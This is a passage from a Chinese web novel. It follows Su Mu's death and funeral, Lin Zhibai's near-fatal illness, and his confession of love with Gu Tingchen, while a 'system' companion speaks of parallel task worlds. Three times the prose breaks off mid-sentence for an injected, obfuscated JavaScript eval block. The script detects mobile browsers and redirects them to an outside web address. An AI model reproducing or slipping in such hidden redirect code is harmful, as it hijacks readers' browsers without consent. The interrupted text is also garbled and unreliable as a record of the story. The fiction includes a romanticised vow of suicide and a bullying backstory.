“别说话。”苏沐打断他,“听我说。” 顾霆琛点点头。 苏沐看着他,看了很久。 “顾霆琛,谢谢你。”他说,“谢谢你这十年,一直等我。谢谢你来送我最后一程。谢谢你......让我不孤单。” 顾霆琛的眼泪掉下来。 “你别这么说......”他的声音哑得不像话,“你会好的,你会——” “顾霆琛。”苏沐打断他,笑了笑,“别骗自己了。我好不好,你不知道吗?” 顾霆琛说不出话。 苏沐转头看向林知白,招招手。 林知白走过去,在他另一边坐下。 苏沐把顾霆琛的手,放进林知白手里。 两只手交叠在一起。 “以后,你们俩好好的。”他说,“替我好好的。” 林知白的眼眶也红了。 “苏沐......” “别哭。”苏沐笑了笑,“我最烦看人哭了。我都不哭,你们哭什么?” 他说着,自己眼眶却红了。 三个人就这样坐着,手叠着手,谁都没说话。 阳光慢慢移动,在地板上画出一道斜线。 不知道过了多久,苏沐轻轻叹了口气。 “行了,你们走吧。”他说,“我累了,想睡一会儿。” 顾霆琛看着他,舍不得动。 “走吧。”苏沐又说了一遍,“明天再来。我又跑不了。” 他笑了笑,笑得很轻。 顾霆琛站起来,弯腰在他额头上印下一个吻。 “明天见。”他说。 苏沐点点头,闭上眼睛。 林知白也站起来,走到门口,回头看了一眼。 苏沐躺在床上,阳光照在他脸上,他闭着眼睛,嘴角还带着一点笑。 像睡着了。 又像在做一场很长的梦。 门轻轻关上。 走廊里,顾霆琛靠在墙上,捂着脸,肩膀一抽一抽的。 林知白站在他旁边,没有说话。 他只是伸出手,轻轻握住了顾霆琛的手。 那只手在抖。 很厉害地抖。 “宿主。”小污的声音很轻,“他好难过。” 林知白没说话。 他只是握着那只手,一直握着。 那天晚上,林知白做了一个梦。 梦里苏沐站在一片白茫茫的光里,穿着白西装,笑得很好看。 “林知白。”他说,“我走了。” 林知白想喊他,但喊不出声。 苏沐笑着挥挥手,转身走进光里。 光越来越亮,越来越亮,刺得人睁不开眼—— 林知白醒了。 手机在响。 他拿起来一看,凌晨三点十七分。 来电显示:顾霆琛。 他接起来。 “林知白。”顾霆琛的声音很哑,哑得不像他,“苏沐走了。” 林知白愣住了。 “刚刚。”顾霆琛的声音继续,“凌晨两点四十三分。很安静,没受什么罪。” 林知白张了张嘴,想说什么,但什么都说不出来。 电话那头,顾霆琛的呼吸声很重。 “你在哪儿?”林知白问。 “医院。” “我过来。” 林知白挂了电话,穿好衣服,冲出家门。 夜色很深,街上一个人都没有。 他一路跑到医院,跑进住院部,跑上电梯。 走廊里,顾霆琛坐在长椅上,低着头,一动不动。 林知白走过去,在他旁边坐下。 两个人就这么坐着,谁都没说话。 很久之后,顾霆琛开口了。 “他说,让我别难过。”他的声音很轻,“他说,他早就准备好了。他说,他这辈子,最幸运的事就是遇见我。” 林知白听着,没说话。 “可是我没准备好。”顾霆琛的声音开始发抖,“我以为还有时间,还有一个月,还有好多天。我以为......” 他的话断了。 林知白伸出手,抱住他。 顾霆琛靠在他肩上,身体在发抖。 没有声音。 但林知白知道,他在哭。 那天晚上,他们就在医院走廊里坐到天亮。 护士进进出出,有人推着床出来,床上盖着白布。 顾霆琛站起来,走过去。 林知白陪着他。 掀开白布的一角,露出苏沐的脸。 很安静,很平和,嘴角还带着一点笑。 顾霆琛看着他,看了很久。 然后他俯下身,在他额头上印下一个吻。 “再见。”他说。 白布重新盖上,床被推走了。 顾霆琛站在原地,一动不动。 林知白站在他身边,也没有动。 走廊尽头,窗外的天慢慢亮了。 新的一天开始了。 处理完苏沐的后事,已经是三天后。 这三天,顾霆琛几乎没有说话。 他处理各种手续,接待来吊唁的人,安排墓地。所有事情都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432116|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 井井有条,像一台精确运转的机器。 但林知白知道,他在硬撑。 因为每天晚上,他都会一个人坐在书房里,对着苏沐的照片发呆。 一坐就是几个小时。 林知白没有打扰他。 他只是每天晚上,在书房门口放一杯热牛奶。 第二天早上,杯子空了。 第四天,下葬的日子。 天空阴沉沉的,像是要下雨。 墓园里,稀稀落落站着几个人。苏晴哭得站不住,被人扶着。还有一些苏沐生前的朋友,眼圈都红红的。 顾霆琛站在最前面,一身黑衣,面无表情。 林知白站在他旁边。 牧师念着悼词,声音在空旷的墓园里回荡。 “苏沐先生,生于1995年3月17日,卒于2025年9月23日......” 林知白听着这些数字,心里突然很空。 二十岁。 苏沐也只活了三十岁。 比自己大十岁,但还是很年轻。 棺材缓缓放入墓穴。 顾霆琛上前一步,抓起一把土,撒下去。 然后他站在那里,看着墓穴,一动不动。 林知白走过去,站在他身边。 “顾霆琛。”他轻声说。 顾霆琛没动。 林知白没有再说话。 他只是站在那里,陪着他。 雨终于下起来了。 细细的雨丝,落在身上,凉凉的。 有人撑起伞,有人往后退。 顾霆琛没有动。 林知白也没有动。 两个人就站在雨里,看着那个墓碑。 墓碑上,苏沐的照片笑得灿烂。 手里还拿着一束白玫瑰。 葬礼结束后,所有人陆续离开。 墓园里只剩下顾霆琛、林知白,还有苏晴。 苏晴走到顾霆琛面前,深深鞠了一躬。 “顾总,对不起。”她的声音沙哑,“我哥的事,谢谢你。还有之前的事......对不起。” 顾霆琛看着她,没有说话。 苏晴又转向林知白,也鞠了一躬。 “林知白,对不起。我做过的事,我这辈子都不会原谅自己。” 林知白看着她,叹了口气。 “走吧。”他说,“你哥不希望看到你这样。” 苏晴点点头,转身离开。 墓园里彻底安静了。 顾霆琛还站在那里,看着墓碑。 林知白站在他旁边,也看着墓碑。 雨还在下,细细密密的。 不知道过了多久,顾霆琛终于开口了。 “林知白。” “嗯?” “你会走吗?” 林知白愣住了。 顾霆琛转过头,看着他。 那双眼睛里,有疲惫,有悲伤,还有一点恐惧。 “你也会走吗?”他问,“像他一样?” 林知白看着他,沉默了几秒。 然后他说:“我不会走。” 顾霆琛的眼眶红了。 “真的?” “真的。”林知白说,“除非你让我走。” 顾霆琛看着他,看了很久。 然后他伸出手,把林知白拉进怀里。 抱得很紧,很紧。 像是怕他下一秒就会消失。 林知白靠在他肩上,没有说话。 雨还在下。 两个人就站在雨里,抱着。 墓碑上,苏沐的照片静静地看着他们。 嘴角带着笑。 像是在说—— 真好。 回到别墅,林知白发了三天高烧。 那天淋的雨,加上这些天的疲惫,一下子全爆发了。 他烧得迷迷糊糊,分不清白天黑夜。 只知道有人一直在身边。 喂药,擦汗,换毛巾。 有时候他醒过来,会看见顾霆琛坐在床边,眼睛红红的,看着他。 “你回来了?”林知白迷迷糊糊地问。 “嗯。”顾霆琛握住他的手,“我回来了。” “苏沐呢?” 顾霆琛沉默了几秒。 “他走了。” 林知白愣了一会儿,然后点点头。 “哦。”他说,“那你要难受了。” 顾霆琛的眼眶红了。 “我不难受。”他说,“有你在。” 17. 第 17 章 林知白觉得自己好像飘在半空中。 身体很重,重得抬不起一根手指。意识很轻,轻得像一缕烟,随时会被风吹散。 周围有人在说话,声音忽远忽近,像是隔着一层水。 “烧到四十度了......怎么不早点送来......” “他一直烧着,我以为......是我不好......” 是顾霆琛的声音。 那个声音在抖。 林知白想睁开眼睛看看他,但眼皮像被胶水粘住了一样,怎么都睁不开。 “病人需要住院观察,可能是肺炎......先去办手续......” “好。多少钱都行,用最好的药,请最好的医生——” “先生您冷静一点,我们会尽力的......” 声音越来越远,越来越模糊。 林知白感觉自己又飘起来了。 飘啊飘,飘到一个很安静的地方。 没有声音,没有光,什么都没有。 只有他一个人。 “小污?”他在心里喊。 没有回应。 “小污?” 还是没声音。 林知白愣了一下。 系统呢? 小污去哪儿了? 他开始慌了。 在这个世界里,小污是他唯一的“自己人”。虽然它总是毒舌吐槽,虽然它天天嗑瓜子看戏,但它在。 它在,他就不是一个人。 “小污!别玩了!出来!” 四周静悄悄的。 林知白站在原地,不知道该往哪儿走。 然后他听见一个声音,很轻,很远: “宿主......别怕......本系统在......但是......能量不够了......” 能量不够了? 什么意思? “小污!你说清楚!” 没有回应。 那个声音消失了。 林知白站在原地,四周的黑暗越来越浓,越来越重,像要把他也吞没。 “小污......” 他闭上眼睛。 算了。 睡吧。 睡醒了,也许就好了。 “林知白!” 有人在喊他。 声音很远,但很急。 “林知白!你醒醒!你别睡!” 是顾霆琛。 林知白想睁开眼睛,但眼皮太重了。 “病人心跳在下降!准备抢救!” “不!你们救他!救他!” 顾霆琛的声音已经完全变了调,像一只受伤的野兽在嘶吼。 “先生,请您出去——” “我不出去!我就在这儿!他是我的人!我哪儿都不去!” “先生——” “滚!” 林知白从来没听过顾霆琛用这种声音说话。 那个永远冷静、永远克制的男人,现在像疯了一样。 他想睁开眼睛看看他。 可是真的好累。 累得连呼吸都没力气了。 “林知白,你听好。”顾霆琛的声音突然近了,就在耳边,“你要是敢死,我跟你没完。你听见没有?” 林知白在心里笑了笑。 我都死了,你还怎么跟我没完? “你不是答应过苏沐,要照顾我吗?”顾霆琛的声音在抖,“你说话不算数?” 林知白愣了一下。 对,他答应过苏沐。 “你醒过来。”顾霆琛的声音低下去,低得像在求他,“求你了,醒过来。” 求你了。 顾霆琛在求他。 那个高高在上的金主,那个从来不说软话的男人,在求他。 林知白深吸一口气。 用力。 再用力。 睁开眼睛。 刺眼的白光涌进来。 他眨了眨眼,慢慢看清了天花板——白色的,有灯,有吊顶。 医院。 “醒了醒了!病人醒了!” 有人在大喊。 然后一张脸凑过来。 顾霆琛。 他的头发乱得像鸡窝,眼睛红得像兔子,下巴上全是青色的胡茬。那身昂贵的西装皱得像抹布,领带歪到一边,整个人狼狈得不像话。 但他在笑。 笑得眼泪都出来了。 “你醒了。”他说,声音哑得听不出是他,“你终于醒了。” 林知白看着他,想说话,但喉咙干得像火烧。 顾霆琛立刻拿起旁边的水杯,用棉签沾了水,轻轻涂在他嘴唇上。 “慢点,医生说你现在还不能喝水,先润润。” 林知白看着他,眼睛一眨不眨。 顾霆琛被他看得不自在,摸了摸自己的脸:“怎么了?我脸上有东西?” 林知白摇摇头。 他只是想看看,这个狼狈不堪的男人,是不是真的顾霆琛。 “宿主!”一个声音突然在脑海里炸响,“你醒了!你终于醒了!本系统以为你要凉了!” 是小污。 林知白在心里松了口气:“你刚才去哪儿了?” “能量不够了!”小污的声音带着哭腔,“你刚才心跳骤停,本系统用最后一点能量强行把你的意识拉回来!差点就真的嗝屁了!” 林知白愣住了。 刚才,是小污救了他? “废话!不然你以为你能自己醒过来?”小污的声音虚弱了很多,“本系统现在能量严重不足,需要休眠充电。接下来一段时间可能没法陪你了,你要自己撑住。” “小污......” “记住,别死了。你死了,本系统也完蛋了。”小污的声音越来越轻,“还有,顾霆琛那个傻子,在外面守了三天三夜没合眼。你醒了之后,对他好一点......” 声音消失了。 林知白在心里喊了几声,没有回应。 小污休眠了。 他躺在病床上,看着天花板。 原来刚才,他差点死了。 原来是小污救了他。 原来顾霆琛......守了三天三夜。 他转过头,看向床边的男人。 顾霆琛正看着他,眼神里全是血丝,但亮得惊人。 “饿不饿?”他问,“医生说可以喝点粥了,我去买。” 林知白摇摇头。 “那渴不渴?我再给你润润嘴唇?” 林知白还是摇摇头。 顾霆琛手足无措地坐在那儿,不知道该怎么办。 林知白看着他,突然笑了。 很轻的笑,笑得眼睛弯起来。 顾霆琛愣住了:“你笑什么?” “笑你。”林知白说,声音哑哑的,“像傻子。” 顾霆琛愣了一下,然后也笑了。 笑得眼眶又红了。 “对,我是傻子。”他说,“傻子才在会议室里摔了手机就跑,傻子才在医院走廊里跟医生吼‘他是我的人’,傻子才守了三天三夜不敢合眼。” 林知白听着,眼眶慢慢热了。 “你在会议室里跑了?” “嗯。” “跟医生吼了?” “嗯。” “守了三天三夜?” “嗯。” 林知白看着他,沉默了几秒。 “顾霆琛。” “嗯?” “你过来一点。” 顾霆琛凑过去。 林知白抬起手,虽然没什么力气,但还是轻轻摸上了他的脸。 胡茬扎手,眼睛红肿,皮肤干涩。 但他觉得,这是顾霆琛最好看的样子。 “我没事了。”他说,“你去睡一会儿。” 顾霆琛摇摇头:“不睡,我守着你。” “我醒了,不会跑了。” “那也不睡。”顾霆琛握住他的手,放在自己脸上,“我怕我一睡着,你又烧起来了。” 林知白看着他,没有再劝。 他知道劝不动。 门被推开,医生走进来。 是个中年男人,戴着眼镜,表情严肃。他看了看林知白,又看了看顾霆琛,眉头皱起来。 “病人需要休息。”他说,“家属跟我出来一下。” 顾霆琛站起来,跟着医生出去。 林知白躺在床上,看着门的方向。 门外传来隐隐约约的声音: “病人这次很危险,差点就没救回来......肺炎加高烧,还有营养不良和过度疲劳......你们年轻人,怎么照顾人的?” “是我的错。” “现在知道错了?早干嘛去了?病人送来的时候都快四十度了,再晚半天,神仙都救不了!” “对不起。” “对不起有什么用?好好照顾着吧,别再出岔子了。还有,你自己也得休息,我看你这脸色比病人还难看。” “我没事。” “随你吧。” 门开了,顾霆琛走进来。 他在床边坐下,看着林知白。 “医生骂你了?”林知白问。 “嗯。” “骂什么了?” “骂我不会照顾人。” 林知白笑了:“他骂得对。” 顾霆琛看着他,没说话。 然后他突然俯下身,把脸埋在林知白肩窝里。 林知白愣住了。 那个姿势很奇怪——他躺着,顾霆琛趴着,像一只大型犬在寻求安慰。 但他没有推开他。 他抬起手,轻轻摸着他的头发。 “顾霆琛。” “嗯?” “我刚才,做了个梦。” “什么梦?” “梦见我死了。”林知白说,“然后你在外面喊我,喊得特别凶。” 顾霆琛的身体僵了一下。 “你还说,我要是不醒,你跟我没完。”林知白笑了笑,“我就想,这人怎么这样,我都死了还跟我没完。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432117|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 顾霆琛没说话。 “然后我又想起来,我答应过苏沐,要照顾你。”林知白继续说,“我不能说话不算数。” 顾霆琛的肩膀微微发抖。 “所以我就醒了。” 病房里安静了很久。 然后顾霆琛抬起头,看着他。 那双眼睛红得厉害,但没有哭。 他只是看着林知白,看了很久很久。 “林知白。”他开口,声音哑得不像话。 “嗯?” “你知不知道,那天在抢救室外面,我是什么感觉?” 林知白没说话。 “我感觉天塌了。”顾霆琛说,“苏沐走的时候,我也难过,但我知道那是迟早的事。可你不一样,你是突然的,是好好的突然就不行了。我接受不了。” 林知白的心抽紧了。 “我站在那儿,看着抢救室的灯,脑子里一片空白。”顾霆琛继续说,“然后我就想,你要是死了,我也不活了。” “顾霆琛——” “真的。”他打断他,“我不是说着玩的。你要是死了,我就去找你。苏沐在那边,你在那边,我过去,咱们三个人一起。” 林知白的眼眶热了。 “你疯了。”他说。 “对,我疯了。”顾霆琛点头,“从你出事那天起,我就疯了。” 两个人对视着。 谁都没说话。 窗外的阳光照进来,落在病床上,落在他俩身上。 很久之后,林知白开口了。 “顾霆琛。” “嗯?” “你亲我一下。” 顾霆琛愣住了。 “你说什么?” “我说,你亲我一下。”林知白看着他,“怎么,不想亲?” 顾霆琛没说话。 他只是俯下身,吻住了他的嘴唇。 很轻,很温柔,像怕弄碎什么珍贵的瓷器。 林知白闭上眼睛。 这个吻里,有消毒水的味道,有眼泪的味道,还有一点点甜。 是他从未尝过的甜。 吻了很久,顾霆琛才放开他。 两个人额头抵着额头,呼吸交缠在一起。 “林知白。”顾霆琛说。 “嗯?” “我爱你。” 林知白愣了一下。 这是他第一次,听见顾霆琛说这三个字。 不是对着苏沐的影子说,不是对着替身说。 是看着他,对着他,亲口说。 “宿主,任务完成——”小污的声音虚弱地响起,然后又消失了。 林知白笑了。 “我知道。”他说。 顾霆琛看着他,眼睛里全是疑惑:“你知道什么?” 林知白没有回答。 他只是伸出手,环住他的脖子,把他拉近。 “顾霆琛。” “嗯?” “我也爱你。” 窗外,阳光正好。 九月的最后一天,天很蓝,蓝得像假的。 但这一刻,是真的。 三天后,林知白出院了。 顾霆琛来接他,开的还是那辆白色越野。 “怎么不开那辆黑的?”林知白问。 “那辆是商务车。”顾霆琛说,“这辆是我的私车,以后只开这辆。” 林知白看着他,笑了。 “那以后你去谈生意,也开这辆?” 顾霆琛想了想:“那不行,太掉价了。” 林知白笑出声。 车子驶出医院,汇入车流。 林知白靠在座椅上,看着窗外的风景。 阳光很好,街道很热闹,一切都和平时一样。 但他知道,有什么东西不一样了。 “顾霆琛。”他突然开口。 “嗯?” “苏沐走的那天,你跟我说,你还没准备好。” 顾霆琛的手在方向盘上顿了一下。 “嗯。” “那现在呢?”林知白转过头,看着他,“你准备好了吗?” 顾霆琛沉默了几秒。 然后他伸手,握住了林知白的手。 十指相扣。 “准备好了。”他说,“准备好和你,一起走下去。” 林知白看着他,慢慢弯起嘴角。 窗外,阳光正好。 前面,路还很长。 但他不害怕了。 回到别墅,林知白发现书房的门开着。 他走进去,看见顾霆琛站在那个相框前。 苏沐的照片。 顾霆琛转过头,看着他。 “我想把照片收起来。”他说,“你觉得呢?” 林知白走过去,站在他身边。 他看着照片里的苏沐,那张和自己一模一样的脸,笑得灿烂。 “不用收。”他说。 顾霆琛愣住了。 “他在这儿。”林知白指着自己的心口,“我也在这儿。我们都在。” 18. 第 18 章 书房里很安静。 阳光从窗户照进来,落在那个相框上。苏沐的照片还放在原处,那张和林知白一模一样的脸,笑得灿烂。 顾霆琛站在书桌前,看着那张照片,沉默了很久。 林知白站在他身边,也没有说话。 “林知白。”顾霆琛终于开口。 “嗯?” “你刚才说的话,是真的吗?” 林知白愣了一下:“哪句?” “你说他在这儿,你也在这儿。”顾霆琛转过头,看着他,“你真的不介意?” 林知白想了想。 介意吗? 以前介意。 介意得要死。 每次看见那张照片,心里就像被针扎一样。 可是现在...... “不介意了。”他说。 顾霆琛看着他,眼神复杂。 “为什么?” 林知白没有直接回答。他走到书桌前,拿起那个相框,看着照片里的苏沐。 “因为他值得。”他说,“他等了你十年,最后一个月,还想着把我从替身的位置上拉出来。这样的人,我不该介意。” 顾霆琛的眼眶红了。 “林知白......” “还有。”林知白转过头,看着他,“因为他把你交给我了。我要是还介意他,那不是辜负了他的信任吗?” 顾霆琛张了张嘴,想说什么,但什么都说不出来。 他只是伸出手,把林知白拉进怀里。 抱得很紧。 林知白靠在他肩上,轻轻拍了拍他的背。 “行了,别煽情了。”他说,“我饿了,做饭去。” 顾霆琛愣了一下,然后笑了。 “好,做饭去。” 那天晚上,顾霆琛做了一桌子菜。 林知白坐在餐桌前,看着满满一桌,嘴角抽了抽。 “你当我是猪吗?” “你瘦了。”顾霆琛给他夹菜,“多吃点。” 林知白看着碗里堆成小山的菜,默默拿起筷子。 吃了两口,他突然想起什么。 “顾霆琛。” “嗯?” “苏沐的信,你看了吗?” 顾霆琛的筷子顿了顿。 “什么信?” 林知白放下筷子,上楼,从抽屉里拿出那个信封。 那是苏沐托他转交的,一直没机会给。 他走下楼,把信封递给顾霆琛。 “苏沐给我的。”顾霆琛看着信封,声音有点涩。 “嗯。他说等他走了以后,再给你。” 顾霆琛接过信封,看着上面没有字的封面,沉默了很久。 然后他拆开信封,抽出里面的信纸。 林知白站起来:“我去厨房倒杯水。” “别走。”顾霆琛拉住他的手,“你陪我看。” 林知白看着他,点点头,重新坐下。 顾霆琛展开信纸。 苏沐的字迹很清秀,一笔一划,写得认真。 【霆琛: 你看到这封信的时候,我应该已经不在了。 别难过,真的。我早就准备好了。 这十年,我一直在想,如果能再见到你,我要跟你说什么。我想了很多很多,有抱怨,有委屈,有不甘心。可是真见到你的时候,我什么都说不出来了。 因为你身边有他了。 林知白,那个和我长得一模一样的人。 你知道吗,我第一眼看见他的时候,心里其实挺难受的。我以为你找替身,是因为忘不了我。可是后来我发现,你看他的眼神,和看我不一样。 你看我的时候,是在看过去。你看他的时候,是在看未来。 那时候我就知道,我输了。 不是输给他,是输给时间。 我走了十年,他陪了你两个月。可我输了,输得心服口服。因为他给你的,是我给不了的东西——现在和未来。 霆琛,我想求你一件事。 对他好一点。 他这个人,看着坚强,其实心里很软。他被当成替身这么久,肯定受了很多委屈。你要好好补偿他,别让他再哭了。 还有,替我谢谢他。 谢谢他愿意替我,陪在你身边。 谢谢他愿意接受一个,心里有过别人的你。 我走了,但我不遗憾。 因为我知道,你会幸福的。 苏沐】 顾霆琛看完信,把信纸折好,放回信封。 他的手在抖。 林知白看着他,没有说话。 很久之后,顾霆琛开口了。 “他到最后,还在替别人着想。”他的声音很哑,“他就是这样的人。” 林知白点点头。 “我知道。” 顾霆琛转过头,看着他。 “林知白。” “嗯?” “谢谢你。” 林知白愣了一下:“谢我什么?” 顾霆琛没有回答。 他只是握住林知白的手,握得很紧。 那天晚上,顾霆琛失眠了。 林知白知道,因为他也没睡。 两个人躺在床上,看着天花板。 “顾霆琛。”林知白突然开口。 “嗯?” “你给我讲讲他的事吧。” 顾霆琛转过头,看着他。 “你想听?” “嗯。”林知白说,“我想知道,你心里的他,是什么样的人。” 顾霆琛沉默了几秒,然后开始讲。 讲他们怎么认识的,怎么在一起的,怎么分开的。 讲苏沐生病的时候,怎么咬着牙不让他担心。 讲他出国那天,在机场哭得像个傻子。 讲这十年,他每年飞过去看他,看着他一点一点瘦下去,一点一点变得虚弱。 讲到后来,他的声音开始发抖。 林知白没有说话,只是握着他的手。 窗外的月光从窗帘缝隙漏进来,在地板上画出一道淡淡的白线。 “林知白。”顾霆琛突然说。 “嗯?” “你后悔吗?” 林知白愣了一下:“后悔什么?” “后悔遇见我。”顾霆琛的声音很轻,“如果不是我,你不会受这么多委屈。” 林知白想了想。 后悔吗? 被当成替身的时候,后悔过。 被送人的时候,后悔过。 一个人在雨夜里走着的时候,后悔过。 可是现在...... “不后悔。”他说。 顾霆琛转过头,看着他。 “为什么?” 林知白看着他,月光下那张脸,轮廓分明,眼睛很亮。 “因为你是你。”他说,“因为你也让我看见了,什么是真心。” 顾霆琛的眼眶红了。 他伸出手,把林知白拉进怀里。 抱得很紧。 “林知白。”他说,声音闷闷的,“以后,我只有你了。” 林知白靠在他肩上,轻轻闭上眼睛。 “我知道。” 第二天早上,林知白醒来的时候,身边已经没人了。 他下楼,看见顾霆琛在厨房里忙活。 “醒了?”顾霆琛回过头,“马上好。” 林知白靠在厨房门口,看着他。 阳光从窗户照进来,在他身上镀了一层浅金色的光。 他突然想起小污说过的话—— “他今天穿的这件卫衣,是某个平价品牌的基础款,三百块。他平时的衣服都是定制款,三万起步。” 他在努力做一个普通人。 一个会做饭、会照顾人的普通人。 不是金主,不是大佬。 只是顾霆琛。 “看什么呢?”顾霆琛端着早餐走过来,“这么入神。” 林知白回过神,笑了笑:“看你。” 顾霆琛愣了一下,然后耳朵尖悄悄红了。 “吃饭。”他把早餐放到桌上,“别贫。” 林知白坐下,拿起筷子。 吃了两口,他想起什么。 “顾霆琛。” “嗯?” “你今天有什么安排?” 顾霆琛想了想:“上午有个会,下午没事。怎么了?” 林知白摇摇头:“没事,就是问问。” 顾霆琛看着他,眼神里有一丝疑惑,但没多问。 吃完饭,顾霆琛去公司了。 林知白一个人坐在客厅里,看着窗外发呆。 “宿主。”一个虚弱的声音突然在脑海里响起。 林知白愣了一下。 “小污?” “嗯......本系统醒了......”小污的声音有气无力的,“能量还是不够,只能待一会儿......” “你没事吧?” “没事,死不了。”小污顿了顿,“不过本系统发现一个严重的问题。” “什么?” “任务完成了,但你还在这儿。” 林知白愣住了。 对。 任务完成了。 顾霆琛说了“我爱你”。 他应该离开了。 可是...... “宿主,你是不是不想走了?”小污的声音很轻。 林知白沉默了几秒。 “我不知道。”他说。 “不知道?” “小污。”林知白靠在沙发上,看着天花板,“我答应过苏沐,要照顾他。” 小污没说话。 “我也答应过他,不会让他一个人。”林知白继续说,“我要是走了,他就真的一个人了。” 小污沉默了很久。 然后它开口,声音难得地正经: “宿主,本系统有个问题想问你。” “什么?” “你是真的想留下来,还是因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432118|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为害怕回去?” 林知白愣住了。 害怕回去? 回现实世界? 那个被霸凌、被羞辱、想自杀的现实世界? “宿主。”小污的声音更轻了,“你还没有准备好,对不对?” 林知白没有说话。 他确实没有准备好。 现实世界里有周砚,有那些霸凌他的人,有那段让他生不如死的记忆。 回去,意味着要面对那些。 留下来,至少还有顾霆琛。 “宿主,本系统理解你。”小污说,“但你要知道,这个世界不是真的。你再怎么留下来,它也只是任务世界。” 林知白的心沉了下去。 对。 这是任务世界。 是快穿的一个副本。 不是真的。 顾霆琛......也不是真的? “他是真的。”小污突然说,“本系统可以告诉你,这些世界里的人,都是真实存在的。他们的感情,也是真实的。” 林知白愣住了。 “什么?” “快穿系统连接的是平行世界。”小污解释,“你穿越的每一个世界,都是真实存在的平行宇宙。这些人,都是真实的人。” 林知白的眼睛慢慢睁大。 所以顾霆琛是真的。 苏沐也是真的。 他们的感情,他们的痛苦,他们的爱,都是真的。 “那我可以留下来吗?”他问。 小污沉默了几秒。 “可以。”它说,“但你要想清楚。留下来,就永远留在这儿了。后面的任务不用做了,现实世界也不用回去了。” 林知白沉默了。 永远留在这儿。 和顾霆琛一起。 过完这一生。 听起来......好像也不错? “宿主,你不用现在做决定。”小污说,“你还有时间。任务完成后,系统会给你一个选择的机会。” “多久?” “七个世界之后。”小污说,“等所有任务完成,你可以选择回到现实,也可以选择任何一个任务世界,永远留下来。” 林知白点点头。 “我知道了。” “那本系统继续休眠了。”小污的声音越来越弱,“你自己想清楚......” 声音消失了。 林知白坐在客厅里,看着窗外。 阳光很好。 他想,七个世界之后,他会怎么选? 他不知道。 但至少现在,他想好好陪陪顾霆琛。 晚上,顾霆琛回来的时候,林知白正在厨房里。 他系着围裙,对着锅铲发愁。 顾霆琛站在厨房门口,看着他的背影,愣住了。 “你......在做饭?” “废话,看不见吗?”林知白头也不回,“快好了,等着。” 顾霆琛走过去,看了看锅里——一盘黑乎乎的东西,完全看不出是什么。 “这是什么?” “红烧肉。”林知白理直气壮。 顾霆琛沉默了。 那盘东西,怎么看都不像红烧肉。 但他什么都没说,只是从后面抱住林知白。 “干嘛?”林知白挣扎了一下,“做饭呢。” “就想抱抱你。”顾霆琛把下巴抵在他肩上,“今天想我了没?” 林知白的耳朵尖悄悄红了。 “没想。” “真的?” “真的。” “那我想你了。”顾霆琛说,“开会的时候想,吃饭的时候想,回来的路上也在想。” 林知白没说话。 但他的嘴角,悄悄弯起来了。 那天晚上,他们吃了一盘糊了的红烧肉。 顾霆琛一边吃一边夸:“好吃,真的好吃。” 林知白看着他,忍不住笑了。 “你演技太差了。” “没有,真好吃。”顾霆琛又夹了一块,“就是稍微有点......特别。” 林知白笑出声。 窗外的月光照进来,落在两个人身上。 林知白看着他,心想—— 之后世界的事,之后再说吧。 至少现在,这一刻,是真的。 第二天,顾霆琛接了个电话。 挂断电话后,他的脸色变得很奇怪。 “怎么了?”林知白问。 顾霆琛看着他,沉默了几秒。 “周砚。”他说,“你认识吗?” 林知白的脸色变了。 周砚。 那个在图书馆羞辱他的人。 那个让他走上天台的人。 “他怎么会......”林知白的声音有点抖。 “他在找我合作。”顾霆琛说,“下周有个饭局,他会来。” 林知白的心沉了下去。 现实世界的人,怎么会出现在这里? 19. 第 19 章 林知白的脸色变了。 周砚。 这个名字像一根刺,扎进他心里最软的地方。 图书馆里的羞辱,班级群里的视频,天台上那个想跳下去的夜晚——所有记忆一下子涌上来,压得他喘不过气。 “林知白?”顾霆琛的声音把他拉回现实,“你认识他?” 林知白看着他,张了张嘴,却发不出声音。 认识吗? 当然认识。 那个让他想死的人,化成灰他都认识。 “宿主。”小污虚弱的声音突然响起,“本系统检测到异常——这个人不应该出现在这个世界。” 林知白愣住了:“什么意思?” “每个世界都是独立的平行宇宙。”小污说,“现实世界的人,不可能出现在任务世界里。除非——” “除非什么?” 小污沉默了几秒:“除非这个世界出了问题。” 林知白的心沉了下去。 出了问题? 什么问题? “林知白。”顾霆琛走过来,握住他的手,“你的手在抖。告诉我,他是谁?” 林知白抬起头,对上他的目光。 那双眼睛里有担心,有疑惑,还有一点紧张。 他深吸一口气。 “一个故人。”他说,“不熟的故人。” 顾霆琛看着他,显然不信。 但林知白没有解释。 他不知道怎么解释。 说他来自另一个世界? 说周砚是让他想死的人? 说这些都不是真的,只是一场快穿任务? “顾霆琛。”他开口,“那个饭局,我陪你去。” 顾霆琛皱起眉头:“你确定?” “确定。” “可是你刚才——” 